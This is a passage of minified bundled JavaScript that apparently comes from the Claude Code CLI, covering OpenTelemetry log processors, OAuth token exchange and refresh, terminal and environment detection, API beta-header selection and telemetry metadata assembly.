A)console.dir(this._exportInfo(q),{depth:3});K?.({code:QR4.ExportResultCode.SUCCESS})}}pR4.ConsoleLogRecordExporter=UR4});var rR4=v((iR4)=>{Object.defineProperty(iR4,"__esModule",{value:!0});iR4.SimpleLogRecordProcessor=void 0;var K$A=P9();class lR4{_exporter;_shutdownOnce;_unresolvedExports;constructor(A){this._exporter=A,this._shutdownOnce=new K$A.BindOnceFuture(this._shutdown,this),this._unresolvedExports=new Set}onEmit(A){if(this._shutdownOnce.isCalled)return;let K=()=>K$A.internal._export(this._exporter,[A]).then((q)=>{if(q.code!==K$A.ExportResultCode.SUCCESS)(0,K$A.globalErrorHandler)(q.error??Error(`SimpleLogRecordProcessor: log record export failed (status ${q})`))}).catch(K$A.globalErrorHandler);if(A.resource.asyncAttributesPending){let q=A.resource.waitForAsyncAttributes?.().then(()=>{return this._unresolvedExports.delete(q),K()},K$A.globalErrorHandler);if(q!=null)this._unresolvedExports.add(q)}else K()}async forceFlush(){await Promise.all(Array.from(this._unresolvedExports))}shutdown(){return this._shutdownOnce.call()}_shutdown(){return this._exporter.shutdown()}}iR4.SimpleLogRecordProcessor=lR4});var eR4=v((sR4)=>{Object.defineProperty(sR4,"__esModule",{value:!0});sR4.InMemoryLogRecordExporter=void 0;var oR4=P9();class aR4{_finishedLogRecords=[];_stopped=!1;export(A,K){if(this._stopped)return K({code:oR4.ExportResultCode.FAILED,error:Error("Exporter has been stopped")});this._finishedLogRecords.push(...A),K({code:oR4.ExportResultCode.SUCCESS})}shutdown(){return this._stopped=!0,this.reset(),Promise.resolve()}getFinishedLogRecords(){return this._finishedLogRecords}reset(){this._finishedLogRecords=[]}}sR4.InMemoryLogRecordExporter=aR4});var Yy4=v((Ky4)=>{Object.defineProperty(Ky4,"__esModule",{value:!0});Ky4.BatchLogRecordProcessorBase=void 0;var qG9=RK(),rk=P9();class Ay4{_exporter;_maxExportBatchSize;_maxQueueSize;_scheduledDelayMillis;_exportTimeoutMillis;_isExporting=!1;_finishedLogRecords=[];_timer;_shutdownOnce;constructor(A,K){if(this._exporter=A,this._maxExportBatchSize=K?.maxExportBatchSize??(0,rk.getNumberFromEnv)("OTEL_BLRP_MAX_EXPORT_BATCH_SIZE")??512,this._maxQueueSize=K?.maxQueueSize??(0,rk.getNumberFromEnv)("OTEL_BLRP_MAX_QUEUE_SIZE")??2048,this._scheduledDelayMillis=K?.scheduledDelayMillis??(0,rk.getNumberFromEnv)("OTEL_BLRP_SCHEDULE_DELAY")??5000,this._exportTimeoutMillis=K?.exportTimeoutMillis??(0,rk.getNumberFromEnv)("OTEL_BLRP_EXPORT_TIMEOUT")??30000,this._shutdownOnce=new rk.BindOnceFuture(this._shutdown,this),this._maxExportBatchSize>this._maxQueueSize)qG9.diag.warn("BatchLogRecordProcessor: maxExportBatchSize must be smaller or equal to maxQueueSize, setting maxExportBatchSize to match maxQueueSize"),this._maxExportBatchSize=this._maxQueueSize}onEmit(A){if(this._shutdownOnce.isCalled)return;this._addToBuffer(A)}forceFlush(){if(this._shutdownOnce.isCalled)return this._shutdownOnce.promise;return this._flushAll()}shutdown(){return this._shutdownOnce.call()}async _shutdown(){this.onShutdown(),await this._flushAll(),await this._exporter.shutdown()}_addToBuffer(A){if(this._finishedLogRecords.length>=this._maxQueueSize)return;this._finishedLogRecords.push(A),this._maybeStartTimer()}_flushAll(){return new Promise((A,K)=>{let q=[],Y=Math.ceil(this._finishedLogRecords.length/this._maxExportBatchSize);for(let z=0;z<Y;z++)q.push(this._flushOneBatch());Promise.all(q).then(()=>{A()}).catch(K)})}_flushOneBatch(){if(this._clearTimer(),this._finishedLogRecords.length===0)return Promise.resolve();return new Promise((A,K)=>{(0,rk.callWithTimeout)(this._export(this._finishedLogRecords.splice(0,this._maxExportBatchSize)),this._exportTimeoutMillis).then(()=>A()).catch(K)})}_maybeStartTimer(){if(this._isExporting)return;let A=()=>{this._isExporting=!0,this._flushOneBatch().then(()=>{if(this._isExporting=!1,this._finishedLogRecords.length>0)this._clearTimer(),this._maybeStartTimer()}).catch((K)=>{this._isExporting=!1,(0,rk.globalErrorHandler)(K)})};if(this._finishedLogRecords.length>=this._maxExportBatchSize)return A();if(this._timer!==void 0)return;if(this._timer=setTimeout(()=>A(),this._scheduledDelayMillis),typeof this._timer!=="number")this._timer.unref()}_clearTimer(){if(this._timer!==void 0)clearTimeout(this._timer),this._timer=void 0}_export(A){let K=()=>rk.internal._export(this._exporter,A).then((Y)=>{if(Y.code!==rk.ExportResultCode.SUCCESS)(0,rk.globalErrorHandler)(Y.error??Error(`BatchLogRecordProcessor: log record export failed (status ${Y})`))}).catch(rk.globalErrorHandler),q=A.map((Y)=>Y.resource).filter((Y)=>Y.asyncAttributesPending);if(q.length===0)return K();else return Promise.all(q.map((Y)=>Y.waitForAsyncAttributes?.())).then(K,rk.globalErrorHandler)}}Ky4.BatchLogRecordProcessorBase=Ay4});var Jy4=v((wy4)=>{Object.defineProperty(wy4,"__esModule",{value:!0});wy4.BatchLogRecordProcessor=void 0;var YG9=Yy4();class zy4 extends YG9.BatchLogRecordProcessorBase{onShutdown(){}}wy4.BatchLogRecordProcessor=zy4});var Oy4=v((N36)=>{Object.defineProperty(N36,"__esModule",{value:!0});N36.BatchLogRecordProcessor=void 0;var zG9=Jy4();Object.defineProperty(N36,"BatchLogRecordProcessor",{enumerable:!0,get:function(){return zG9.BatchLogRecordProcessor}})});var Xy4=v((T36)=>{Object.defineProperty(T36,"__esModule",{value:!0});T36.BatchLogRecordProcessor=void 0;var HG9=Oy4();Object.defineProperty(T36,"BatchLogRecordProcessor",{enumerable:!0,get:function(){return HG9.BatchLogRecordProcessor}})});var v36=v((n4A)=>{Object.defineProperty(n4A,"__esModule",{value:!0});n4A.BatchLogRecordProcessor=n4A.InMemoryLogRecordExporter=n4A.SimpleLogRecordProcessor=n4A.ConsoleLogRecordExporter=n4A.LoggerProvider=void 0;var OG9=FR4();Object.defineProperty(n4A,"LoggerProvider",{enumerable:!0,get:function(){return OG9.LoggerProvider}});var XG9=cR4();Object.defineProperty(n4A,"ConsoleLogRecordExporter",{enumerable:!0,get:function(){return XG9.ConsoleLogRecordExporter}});var $G9=rR4();Object.defineProperty(n4A,"SimpleLogRecordProcessor",{enumerable:!0,get:function(){return $G9.SimpleLogRecordProcessor}});var _G9=eR4();Object.defineProperty(n4A,"InMemoryLogRecordExporter",{enumerable:!0,get:function(){return _G9.InMemoryLogRecordExporter}});var GG9=Xy4();Object.defineProperty(n4A,"BatchLogRecordProcessor",{enumerable:!0,get:function(){return GG9.BatchLogRecordProcessor}})});function pQ(A){return Boolean(A?.includes(Ab))}function G91(A){return A?.split(" ").filter(Boolean)??[]}function E36({codeChallenge:A,state:K,port:q,isManual:Y,loginWithClaudeAi:z,inferenceOnly:w,orgUUID:H}){let J=z?E7().CLAUDE_AI_AUTHORIZE_URL:E7().CONSOLE_AUTHORIZE_URL,O=new URL(J);O.searchParams.append("code","true"),O.searchParams.append("client_id",E7().CLIENT_ID),O.searchParams.append("response_type","code"),O.searchParams.append("redirect_uri",Y?E7().MANUAL_REDIRECT_URL:`http://localhost:${q}/callback`);let X=w?[Ab]:G28;if(O.searchParams.append("scope",X.join(" ")),O.searchParams.append("code_challenge",A),O.searchParams.append("code_challenge_method","S256"),O.searchParams.append("state",K),H)O.searchParams.append("orgUUID",H);return O.toString()}async function $y4(A,K,q,Y,z=!1,w){let H={grant_type:"authorization_code",code:A,redirect_uri:z?E7().MANUAL_REDIRECT_URL:`http://localhost:${Y}/callback`,client_id:E7().CLIENT_ID,code_verifier:q,state:K};if(w!==void 0)H.expires_in=w;let J=await A8.post(E7().TOKEN_URL,H,{headers:{"Content-Type":"application/json"}});if(J.status!==200)throw Error(J.status===401?"Authentication failed: Invalid authorization code":`Token exchange failed (${J.status}): ${J.statusText}`);return n("tengu_oauth_token_exchange_success",{}),J.data}async function k36(A){let K={grant_type:"refresh_token",refresh_token:A,client_id:E7().CLIENT_ID,scope:Tb1.join(" ")};try{let q=await A8.post(E7().TOKEN_URL,K,{headers:{"Content-Type":"application/json"}});if(q.status!==200)throw Error(`Token refresh failed: ${q.statusText}`);let Y=q.data,{access_token:z,refresh_token:w=A,expires_in:H}=Y,J=Date.now()+H*1000,O=G91(Y.scope);n("tengu_oauth_token_refresh_success",{});let X=await C36(z);if(M1().oauthAccount){let _={};if(X.displayName!==void 0)_.displayName=X.displayName;if(typeof X.hasExtraUsageEnabled==="boolean")_.hasExtraUsageEnabled=X.hasExtraUsageEnabled;if(Object.keys(_).length>0)D6((G)=>({...G,oauthAccount:G.oauthAccount?{...G.oauthAccount,..._}:G.oauthAccount}))}return{accessToken:z,refreshToken:w,expiresAt:J,scopes:O,subscriptionType:X.subscriptionType,rateLimitTier:X.rateLimitTier}}catch(q){throw n("tengu_oauth_token_refresh_failure",{error:q.message}),q}}async function _y4(A){let K=await A8.get(E7().ROLES_URL,{headers:{Authorization:`Bearer ${A}`}});if(K.status!==200)throw Error(`Failed to fetch user roles: ${K.statusText}`);let q=K.data;if(!M1().oauthAccount)throw Error("OAuth account information not found in config");D6((z)=>({...z,oauthAccount:z.oauthAccount?{...z.oauthAccount,organizationRole:q.organization_role,workspaceRole:q.workspace_role,organizationName:q.organization_name}:z.oauthAccount})),n("tengu_oauth_roles_stored",{org_role:q.organization_role})}async function Gy4(A){try{let K=await A8.post(E7().API_KEY_URL,null,{headers:{Authorization:`Bearer ${A}`}}),q=K.data?.raw_key;if(q)return await Wy4(q),n("tengu_oauth_api_key",{status:"success",statusCode:K.status}),q;return null}catch(K){throw n("tengu_oauth_api_key",{status:"failure",error:K instanceof Error?K.message:String(K)}),K}}function dQ(A){if(A===null)return!1;let K=300000;return Date.now()+K>=A}async function C36(A){let K=await KXA(A),q=K?.organization?.organization_type,Y=null;switch(q){case"claude_max":Y="max";break;case"claude_pro":Y="pro";break;case"claude_enterprise":Y="enterprise";break;case"claude_team":Y="team";break;default:Y=null;break}let z={subscriptionType:Y,rateLimitTier:K?.organization?.rate_limit_tier??null,hasExtraUsageEnabled:K?.organization?.has_extra_usage_enabled??null};if(K?.account?.display_name)z.displayName=K.account.display_name;return n("tengu_oauth_profile_fetch_success",{}),z}async function Fx(){let K=M1().oauthAccount?.organizationUuid;if(K)return K;let q=LK()?.accessToken;if(q===void 0)return null;let z=(await KXA(q))?.organization?.uuid;if(!z)return null;return z}async function Zy4(){if(M1().oauthAccount||!Z4())return!1;let K=LK();if(K?.accessToken){let q=await KXA(K.accessToken);if(q)return L36({accountUuid:q.account.uuid,emailAddress:q.account.email,organizationUuid:q.organization.uuid,displayName:q.account.display_name||void 0,hasExtraUsageEnabled:q.organization.has_extra_usage_enabled??!1,billingType:q.organization.billing_type??void 0}),!0}return!1}function L36({accountUuid:A,emailAddress:K,organizationUuid:q,displayName:Y,hasExtraUsageEnabled:z,billingType:w}){let H={accountUuid:A,emailAddress:K,organizationUuid:q,hasExtraUsageEnabled:z,billingType:w};if(Y)H.displayName=Y;D6((J)=>{if(J.oauthAccount?.accountUuid===H.accountUuid&&J.oauthAccount?.emailAddress===H.emailAddress&&J.oauthAccount?.organizationUuid===H.organizationUuid&&J.oauthAccount?.displayName===H.displayName&&J.oauthAccount?.hasExtraUsageEnabled===H.hasExtraUsageEnabled)return J;return{...J,oauthAccount:H}})}var LT=k(()=>{n3();uz();l1();i6();x4();_yA()});async function Dy4(A,K=10){if(process.platform==="win32"){let z=` $pid = ${String(A)} $ancestors = @() for ($i = 0; $i -lt ${K}; $i++) { $proc = Get-CimInstance Win32_Process -Filter "ProcessId=$pid" -ErrorAction SilentlyContinue if (-not $proc -or -not $proc.ParentProcessId -or $proc.ParentProcessId -eq 0) { break } $pid = $proc.ParentProcessId $ancestors += $pid } $ancestors -join ',' `.trim(),w=await A7("powershell.exe",["-NoProfile","-Command",z],{timeout:3000});if(w.code!==0||!w.stdout?.trim())return[];return w.stdout.trim().split(",").filter(Boolean).map((H)=>parseInt(H,10)).filter((H)=>!isNaN(H))}let q=`pid=${String(A)}; for i in $(seq 1 ${K}); do ppid=$(ps -o ppid= -p $pid 2>/dev/null | tr -d ' '); if [ -z "$ppid" ] || [ "$ppid" = "0" ] || [ "$ppid" = "1" ]; then break; fi; echo $ppid; pid=$ppid; done`,Y=await A7("sh",["-c",q],{timeout:3000});if(Y.code!==0||!Y.stdout?.trim())return[];return Y.stdout.trim().split(` `).filter(Boolean).map((z)=>parseInt(z,10)).filter((z)=>!isNaN(z))}function jy4(A){try{let K=String(A),q=process.platform==="win32"?`powershell.exe -NoProfile -Command "(Get-CimInstance Win32_Process -Filter \\"ProcessId=${K}\\").CommandLine"`:`ps -o command= -p ${K}`,Y=eW(q,{timeout:1000});return Y?Y.trim():null}catch{return null}}async function My4(A,K=10){if(process.platform==="win32"){let z=` $currentPid = ${String(A)} $commands = @() for ($i = 0; $i -lt ${K}; $i++) { $proc = Get-CimInstance Win32_Process -Filter "ProcessId=$currentPid" -ErrorAction SilentlyContinue if (-not $proc) { break } if ($proc.CommandLine) { $commands += $proc.CommandLine } if (-not $proc.ParentProcessId -or $proc.ParentProcessId -eq 0) { break } $currentPid = $proc.ParentProcessId } $commands -join [char]0 `.trim(),w=await A7("powershell.exe",["-NoProfile","-Command",z],{timeout:3000});if(w.code!==0||!w.stdout?.trim())return[];return w.stdout.split("\x00").filter(Boolean)}let q=`currentpid=${String(A)}; for i in $(seq 1 ${K}); do cmd=$(ps -o command= -p $currentpid 2>/dev/null); if [ -n "$cmd" ]; then printf '%s\\0' "$cmd"; fi; ppid=$(ps -o ppid= -p $currentpid 2>/dev/null | tr -d ' '); if [ -z "$ppid" ] || [ "$ppid" = "0" ] || [ "$ppid" = "1" ]; then break; fi; currentpid=$ppid; done`,Y=await A7("sh",["-c",q],{timeout:3000});if(Y.code!==0||!Y.stdout?.trim())return[];return Y.stdout.split("\x00").filter(Boolean)}var Z91=k(()=>{CK()});async function Py4(){if(r4A!==void 0)return r4A;if(process.platform==="darwin")return r4A=null,null;try{let A=await My4(process.pid,10);for(let K of A){let q=K.toLowerCase();for(let Y of Eb1)if(q.includes(Y))return r4A=Y,Y}}catch{}return r4A=null,null}async function PG9(){if(process.env.TERMINAL_EMULATOR==="JetBrains-JediTerm"){if(m6.platform!=="darwin")return await Py4()||"pycharm"}return m6.terminal}function VG9(){if(process.env.TERMINAL_EMULATOR==="JetBrains-JediTerm"){if(m6.platform!=="darwin"){if(r4A!==void 0)return r4A||"pycharm";return"pycharm"}}return m6.terminal}async function R36(){if(process.env.TERMINAL_EMULATOR==="JetBrains-JediTerm")await Py4()}var DG9,jG9=()=>{return process.platform==="linux"&&process.env.CLAUDE_CODE_BUBBLEWRAP==="1"},MG9,r4A,QV;var Rr=k(()=>{CK();Z91();p7();e6();Z1();z3();DG9=z6(async()=>{let{code:A}=await R6("test",["-f","/.dockerenv"]);if(A!==0)return!1;return process.platform==="linux"}),MG9=z6(()=>{if(process.platform!=="linux")return!1;let A=BA();try{if(A.existsSync("/lib/libc.musl-x86_64.so.1")||A.existsSync("/lib/libc.musl-aarch64.so.1"))return!0;let K=eW("ldd /bin/ls 2>/dev/null");return K!==null&&K.includes("musl")}catch{return h("musl detection failed, assuming glibc"),!1}});QV={...m6,terminal:VG9(),getIsDocker:DG9,getIsBubblewrapSandbox:jG9,isMuslEnvironment:MG9,getTerminalWithJetBrainsDetectionAsync:PG9,initJetBrainsDetection:R36}});function fG9(A){let K=[],q=[];for(let Y of A)if(Vy4.includes(Y))K.push(Y);else q.push(Y);return{allowed:K,disallowed:q}}function fy4(A){if(!A||A.length===0)return;if(Z4()){console.warn("Warning: Custom betas are only available for API key users. Ignoring provided betas.");return}let{allowed:K,disallowed:q}=fG9(A);for(let Y of q)console.warn(`Warning: Beta header '${Y}' is not allowed. Only the following betas are supported: ${Vy4.join(", ")}`);return K.length>0?K:void 0}function NG9(A){let K=c7();if(K==="foundry")return!0;if(K==="firstParty")return!A.includes("claude-3-");return A.includes("claude-opus-4")||A.includes("claude-sonnet-4")}function TG9(A){let K=A.toLowerCase();return K.includes("claude-opus-4")||K.includes("claude-sonnet-4")||K.includes("claude-haiku-4")}function vG9(A){let K=c7();if(K==="foundry")return!0;if(K==="firstParty")return!A.includes("claude-3-");return A.includes("claude-opus-4")||A.includes("claude-sonnet-4")||A.includes("claude-haiku-4")}function y36(A){let K=c7();if(K!=="firstParty"&&K!=="foundry")return!1;return A.includes("claude-sonnet-4-5")||A.includes("claude-opus-4-1")||A.includes("claude-opus-4-5")||A.includes("claude-haiku-4-5")}function Ny4(){let A=c7();if(A==="vertex"||A==="bedrock")return mn6;return Bn6}function EG9(){return(c7()==="firstParty"||c7()==="foundry")&&!P1(process.env.CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS)}function W91(A){let K=RT(A),q=nP();if(!q||q.length===0)return K;return[...K,...q.filter((Y)=>!K.includes(Y))]}function D91(){I36.cache?.clear?.(),RT.cache?.clear?.(),S36.cache?.clear?.()}var Vy4,I36,RT,S36;var ok=k(()=>{p7();q6();z1A();B7();uz();x4();l6();IH();B7();Vy4=[CNA];I36=z6((A)=>{let K=[],q=A.includes("haiku"),Y=c7(),z=EG9();if(!q)K.push(xn6);if(Z4())K.push(LE);if(A.includes("[1m]"))K.push(CNA);if(!P1(process.env.DISABLE_INTERLEAVED_THINKING)&&NG9(A))K.push(un6);if(P1(process.env.USE_API_CONTEXT_MANAGEMENT)&&!1||vG9(A)&&G4("tengu_marble_anvil",!1))K.push(vnA);let w=aY("tengu_tool_pear");if(y36(A)&&w)K.push(jl);if(z&&G4("tengu_scarf_coffee",!1))K.push(EnA);if(Y==="vertex"&&TG9(A))K.push(YR1);if(Y==="foundry")K.push(YR1);if(Y==="firstParty")K.push(gn6);if(process.env.ANTHROPIC_BETAS&&!q)K.push(...process.env.ANTHROPIC_BETAS.split(",").map((H)=>H.trim()).filter(Boolean));return K}),RT=z6((A)=>{let K=I36(A);if(c7()==="bedrock")return K.filter((q)=>!wR1.has(q));return K}),S36=z6((A)=>{return I36(A).filter((q)=>wR1.has(q))})});function b8(){if(J2(process.env.CLAUDE_CODE_AGENT_SWARMS))return!1;if(!G4("tengu_brass_pebble",!1))return!1;if(j91())return!0;if(ak())return!0;let A=Uq();if(A==="max"||A==="team")return $5()?.hasExtraUsageEnabled===!0;if(A===null)return!0;return!1}var t9=k(()=>{B7();x4();l6()});import{AsyncLocalStorage as kG9}from"async_hooks";function vy4(){return Ty4.getStore()}function q$A(A,K){return Ty4.run(A,K)}var Ty4;var M91=k(()=>{t9();Ty4=new kG9});import{extname as CG9}from"path";function jK(A){if(A.startsWith("mcp__"))return"mcp_tool";return A}function h36(){return P1(process.env.OTEL_LOG_TOOL_DETAILS)}function b36(A){if(!A.startsWith("mcp__"))return;let K=A.split("__");if(K.length<3)return;let q=K[1],Y=K.slice(2).join("__");if(!q||!Y)return;return{serverName:q,mcpToolName:Y}}function x36(A,K){if(A!=="Skill")return;if(typeof K==="object"&&K!==null&&"skill"in K&&typeof K.skill==="string")return K.skill;return}function SIA(A){let K=CG9(A).toLowerCase();if(!K||K===".")return;let q=K.slice(1);if(q.length>yG9)return"other";return q}function Ey4(A,K){if(!A.includes(".")&&!K)return;let q,Y=new Set;if(K){let z=SIA(K);if(z)Y.add(z),q=z}for(let z of A.split(SG9)){if(!z)continue;let w=z.split(hG9);if(w.length<2)continue;let H=w[0],J=H.lastIndexOf("/"),O=J>=0?H.slice(J+1):H;if(!IG9.has(O))continue;for(let X=1;X<w.length;X++){let $=w[X];if($.charCodeAt(0)===45)continue;let _=SIA($);if(_&&!Y.has(_))Y.add(_),q=q?q+","+_:_}}if(!q)return;return q}function bG9(){let A=vy4();if(A){let J={agentId:A.agentId,parentSessionId:A.parentSessionId,agentType:A.agentType};if(A.agentType==="teammate")J.teamName=A.teamName;return J}let K=q_(),q=tn(),Y=T3(),w=m2()?"teammate":K?"standalone":void 0;if(K||w||q||Y)return{...K?{agentId:K}:{},...w?{agentType:w}:{},...q?{parentSessionId:q}:{},...Y?{teamName:Y}:{}};let H=cn6();if(H)return{parentSessionId:H};return{}}function BG9(){return}async function yr(A={}){let K=A.model?String(A.model):J3(),q=RT(K),Y=await uG9(),z=BG9();return{model:K,sessionId:d1(),userType:"external",...q.length>0?{betas:q.join(",")}:{},envContext:Y,...process.env.CLAUDE_CODE_ENTRYPOINT&&{entrypoint:process.env.CLAUDE_CODE_ENTRYPOINT},...process.env.CLAUDE_AGENT_SDK_VERSION&&{agentSdkVersion:process.env.CLAUDE_AGENT_SDK_VERSION},isInteractive:String(JzA()),clientType:BnA(),...z&&{processMetrics:z},sweBenchRunId:process.env.SWE_BENCH_RUN_ID||"",sweBenchInstanceId:process.env.SWE_BENCH_INSTANCE_ID||"",sweBenchTaskId:process.env.SWE_BENCH_TASK_ID||"",...bG9()}}function ky4(A,K={}){let q={};for(let[Y,z]of Object.entries(K))if(z!==void 0)q[Y]=String(z);for(let[Y,z]of Object.entries(A)){if(z===void 0)continue;if(Y==="envContext")q.env=UA(z);else if(Y==="processMetrics")q.process=UA(z);else q[Y]=String(z)}return q}function Cy4(A,K={}){let{envContext:q,processMetrics:Y,...z}=A;return{...K,...z,env:q,...Y&&{process:Y},surface:RG9}}function Ly4(A,K,q={}){let{envContext:Y,processMetrics:z,...w}=A,H={platform:Y.platform,arch:Y.arch,node_version:Y.nodeVersion,terminal:Y.terminal||"unknown",package_managers:Y.packageManagers,runtimes:Y.runtimes,is_running_with_bun:Y.isRunningWithBun,is_ci:Y.isCi,is_claubbit:Y.isClaubbit,is_claude_code_remote:Y.isClaudeCodeRemote,is_local_agent_mode:Y.isLocalAgentMode,is_conductor:Y.isConductor,is_github_action:Y.isGithubAction,is_claude_code_action:Y.isClaudeCodeAction,is_claude_ai_auth:Y.isClaudeAiAuth,version:Y.version,build_time:Y.buildTime,deployment_environment:Y.deploymentEnvironment};if(Y.remoteEnvironmentType)H.remote_environment_type=Y.remoteEnvironmentType;if(Y.claudeCodeContainerId)H.claude_code_container_id=Y.claudeCodeContainerId;if(Y.claudeCodeRemoteSessionId)H.claude_code_remote_session_id=Y.claudeCodeRemoteSessionId;if(Y.tags)H.tags=Y.tags.split(",").map((O)=>O.trim()).filter(Boolean);if(Y.githubEventName)H.github_event_name=Y.githubEventName;if(Y.githubActionsRunnerEnvironment)H.github_actions_runner_environment=Y.githubActionsRunnerEnvironment;if(Y.githubActionsRunnerOs)H.github_actions_runner_os=Y.githubActionsRunnerOs;if(Y.githubActionRef)H.github_action_ref=Y.githubActionRef;if(Y.wslVersion)H.wsl_version=Y.wslVersion;if(Y.versionBase)H.version_base=Y.versionBase;let J={session_id:w.sessionId,model:w.model,user_type:w.userType,is_interactive:w.isInteractive==="true",client_type:w.clientType};if(w.betas)J.betas=w.betas;if(w.entrypoint)J.entrypoint=w.entrypoint;if(w.agentSdkVersion)J.agent_sdk_version=w.agentSdkVersion;if(w.sweBenchRunId)J.swe_bench_run_id=w.sweBenchRunId;if(w.sweBenchInstanceId)J.swe_bench_instance_id=w.sweBenchInstanceId;if(w.sweBenchTaskId)J.swe_bench_task_id=w.sweBenchTaskId;if(w.agentId)J.agent_id=w.agentId;if(w.parentSessionId)J.parent_session_id=w.parentSessionId;if(w.agentType)J.agent_type=w.agentType;if(w.teamName)J.team_name=w.teamName;if(K.githubActionsMetadata){let O=K.githubActionsMetadata;H.github_actions_metadata={actor_id:O.actorId,repository_id:O.repositoryId,repository_owner_id:O.repositoryOwnerId}}return{env:H,...z&&{process:UA(z)},core:J,additional:q}}var RG9="claude-code",yG9=10,IG9,SG9,hG9,xG9,uG9;var sO=k(()=>{p7();z3();Rr();ok();K7();q6();l6();x4();B5();M91();b1();W2();IG9=new Set(["rm","mv","cp","touch","mkdir","chmod","chown","cat","head","tail","sort","stat","diff","wc","grep","rg","sed"]),SG9=/\s*(?:&&|\|\||[;|])\s*/,hG9=/\s+/;xG9=z6(()=>{let A={ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION.match(/^\d+\.\d+\.\d+(?:-[a-z]+)?/);return A?A[0]:void 0}),uG9=z6(async()=>{let[A,K]=await Promise.all([m6.getPackageManagers(),m6.getRuntimes()]);return{platform:m6.platform,arch:m6.arch,nodeVersion:m6.nodeVersion,terminal:QV.terminal,packageManagers:A.join(","),runtimes:K.join(","),isRunningWithBun:m6.isRunningWithBun(),isCi:P1(!1),isClaubbit:P1(process.env.CLAUBBIT),isClaudeCodeRemote:P1(process.env.CLAUDE_CODE_REMOTE),isLocalAgentMode:process.env.CLAUDE_CODE_ENTRYPOINT==="local-agent",isConductor:m6.isConductor(),...process.env.CLAUDE_CODE_REMOTE_ENVIRONMENT_TYPE&&{remoteEnvironmentType:process.env.CLAUDE_CODE_REMOTE_ENVIRONMENT_TYPE},...{},...process.env.CLAUDE_CODE_CONTAINER_ID&&{claudeCodeContainerId:process.env.CLAUDE_CODE_CONTAINER_ID},...process.env.CLAUDE_CODE_REMOTE_SESSION_ID&&{claudeCodeRemoteSessionId:process.env.CLAUDE_CODE_REMOTE_SESSION_ID},...process.env.CLAUDE_CODE_TAGS&&{tags:process.env.CLAUDE_CODE_TAGS},isGithubAction:P1(process.env.GITHUB_ACTIONS),isClaudeCodeAction:P1(process.env.CLAUDE_CODE_ACTION),isClaudeAiAuth:Z4(),version:{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION,versionBase:xG9(),buildTime:{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.BUILD_TIME,deploymentEnvironment:m6.detectDeploymentEnvironment(),...P1(process.env.GITHUB_ACTIONS)&&{githubEventName:process.env.GITHUB_EVENT_NAME,githubActionsRunnerEnvironment:process.env.RUNNER_ENVIRONMENT,githubActionsRunnerOs:process.env.RUNNER_OS,githubActionRef:process.env.GITHUB_ACTION_PATH?.includes("claude-code-action/")?process.env.GITHUB_ACTION_PATH.split("claude-code-action/")[1]:void 0},...h1A()&&{wslVersion:h1A()}}})});function mG9(){return{seconds:0,nanos:0}}function Ry4(A){return A!==null&&A!==void 0}var hIA;var u36=k(()=>{hIA={fromJSON(A){return{seconds:Ry4(A.seconds)?globalThis.Number(A.seconds):0,nanos:Ry4(A.nanos)?globalThis.Number(A.nanos):0}},toJSON(A){let K={};if(A.seconds!==void 0)K.seconds=Math.round(A.seconds);if(A.nanos!==void 0)K.nanos=Math.round(A.nanos);return K},create(A){return hIA.fromPartial(A??{})},fromPartial(A){let K=mG9();return K.seconds=A.seconds??0,K.nanos=A.nanos??0,K}}});function gG9(){return{account_id:0,organization_uuid:"",account_uuid:""}}function B36(A){return A!==null&&A!==void 0}var cQ;var m36=k(()=>{cQ={fromJSON(A){return{account_id:B36(A.account_id)?globalThis.Number(A.account_id):0,organization_uuid:B36(A.organization_uuid)?globalThis.String(A.organization_uuid):"",account_uuid:B36(A.account_uuid)?globalThis.String(A.account_uuid):""}},toJSON(A){let K={};if(A.account_id!==void 0)K.account_id=Math.round(A.account_id);if(A.organization_uuid!==void 0)K.organization_uuid=A.organization_uuid;if(A.account_uuid!==void 0)K.account_uuid=A.account_uuid;return K},create(A){return cQ.fromPartial(A??{})},fromPartial(A){let K=gG9();return K.account_id=A.account_id??0,K.organization_uuid=A.organization_uuid??"",K.account_uuid=A.account_uuid??"",K}}});function FG9(){return{actor_id:"",repository_id:"",repository_owner_id:""}}function QG9(){return{platform:"",node_version:"",terminal:"",package_managers:"",runtimes:"",is_running_with_bun:!1,is_ci:!1,is_claubbit:!1,is_github_action:!1,is_claude_code_action:!1,is_claude_ai_auth:!1,version:"",github_event_name:"",github_actions_runner_environment:"",github_actions_runner_os:"",github_action_ref:"",wsl_version:"",github_actions_metadata:void 0,arch:"",is_claude_code_remote:!1,remote_environment_type:"",claude_code_container_id:"",claude_code_remote_session_id:"",tags:[],deployment_environment:"",is_conductor:!1,version_base:""}}function UG9(){return{event_name:"",client_timestamp:void 0,model:"",session_id:"",user_type:"",betas:"",env:void 0,entrypoint:"",agent_sdk_version:"",is_interactive:!1,client_type:"",process:"",additional_metadata:"",auth:void 0,server_timestamp:void 0,event_id:"",device_id:"",swe_bench_run_id:"",swe_bench_instance_id:"",swe_bench_task_id:"",email:"",agent_id:"",parent_session_id:"",agent_type:""}}function pG9(A){let K=(A.seconds||0)*1000;return K+=(A.nanos||0)/1e6,new globalThis.Date(K)}function yy4(A){if(A instanceof globalThis.Date)return A;else if(typeof A==="string")return new globalThis.Date(A);else return pG9(hIA.fromJSON(A))}function tK(A){return A!==null&&A!==void 0}var P91,V91,f91;var Iy4=k(()=>{u36();m36();P91={fromJSON(A){return{actor_id:tK(A.actor_id)?globalThis.String(A.actor_id):"",repository_id:tK(A.repository_id)?globalThis.String(A.repository_id):"",repository_owner_id:tK(A.repository_owner_id)?globalThis.String(A.repository_owner_id):""}},toJSON(A){let K={};if(A.actor_id!==void 0)K.actor_id=A.actor_id;if(A.repository_id!==void 